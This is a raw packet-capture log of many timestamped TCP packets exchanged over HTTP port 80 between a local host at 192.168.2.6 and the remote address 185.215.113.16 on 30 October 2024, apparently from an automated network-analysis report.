Oct 30, 2024 05:25:12.035643101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.035701036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.035780907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.035828114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.035846949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.035860062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.035871029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.035887003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.035909891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.036178112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036222935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.036230087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036241055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036274910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.036307096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.036520004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036530018 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036540985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.036571980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.036592960 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.069628000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069693089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.069706917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069716930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069727898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069744110 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.069772005 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.069896936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069938898 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.069951057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.069992065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074594975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074604988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074642897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074666977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074676991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074691057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074708939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074714899 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074722052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074738026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074749947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074760914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074768066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074774981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074784994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074790955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074812889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074820995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074841022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074867964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074882984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074893951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074919939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074930906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074937105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074945927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.074961901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.074980974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.153264046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153274059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153280020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153285980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153295994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153306007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153537035 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.153697968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153708935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153719902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.153753996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.153778076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.153956890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.154004097 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.154025078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.154036045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.154089928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.154107094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.154118061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.154155016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.154182911 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.187366962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.187377930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.187385082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.187447071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.191544056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191555023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191569090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191596031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.191615105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.191628933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191667080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.191675901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191685915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.191724062 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.191965103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192007065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.192030907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192042112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192060947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192070961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192079067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.192095995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192101955 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.192111015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192130089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.192172050 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.192926884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.192980051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.236723900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.236736059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.236746073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.236852884 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271035910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271060944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271073103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271085024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271095991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271140099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271182060 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271254063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271284103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271294117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271301985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271322012 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271342039 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271354914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271365881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271393061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271431923 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.271936893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271946907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271958113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.271990061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.272013903 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.304825068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.304836035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.304948092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.304956913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.304994106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.305017948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.305017948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.308979988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309000015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309010029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309031963 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309048891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309173107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309182882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309195042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309220076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309237957 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309501886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309510946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309554100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309637070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309659958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309670925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.309679985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.309715033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.310004950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310014963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310024977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310050964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.310064077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.310302019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310321093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310332060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.310347080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.310368061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.354331970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.354408979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.354420900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.354522943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.354522943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.388860941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388919115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388937950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388955116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388964891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388977051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.388993979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389024019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389024019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389024019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389045000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389300108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389318943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389329910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389348030 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389362097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389369011 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389394999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389420033 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389431953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.389467001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.389482975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.422576904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.422599077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.422610044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.422638893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.422660112 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.426616907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426635027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426645041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426671028 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.426691055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.426703930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426722050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426734924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.426743984 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.426768064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427061081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427072048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427086115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427095890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427103996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427120924 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427155018 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427525043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427534103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427581072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427661896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427705050 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427722931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427735090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427745104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.427766085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.427815914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.428205967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.428253889 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.428276062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.428340912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.468970060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.468983889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.469018936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.469031096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.471930027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.471946955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.471956968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.471977949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.471997023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507097960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507117033 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507127047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507145882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507155895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507162094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507172108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507184982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507339954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507339954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507443905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507487059 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507504940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507519960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507530928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507541895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507550955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.507558107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.507587910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.540432930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.540442944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.540452957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.540581942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.540581942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547507048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547533989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547544003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547575951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547594070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547610998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547626019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547641039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547647953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547657967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547674894 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547697067 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.547960043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547970057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.547980070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548003912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548018932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548026085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548038006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548058987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548065901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548077106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548088074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548108101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548120975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.548893929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.548945904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.589509010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589523077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589533091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589546919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589581013 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.589617968 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.589751959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589760065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.589812040 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.626262903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626271963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626285076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626296997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626415968 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.626415968 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.626425028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626435995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626466036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.626499891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.626979113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626988888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.626998901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627008915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627031088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.627062082 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.627331018 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627377987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.627520084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627530098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627540112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.627559900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.627578974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.659580946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.659591913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.659603119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.659641981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.659799099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.664958000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.664968014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.664978027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665031910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665031910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665108919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665118933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665128946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:12.665149927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665169954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:12.665400028 CET	80	49993	185.215.113.16	192.168.2.6
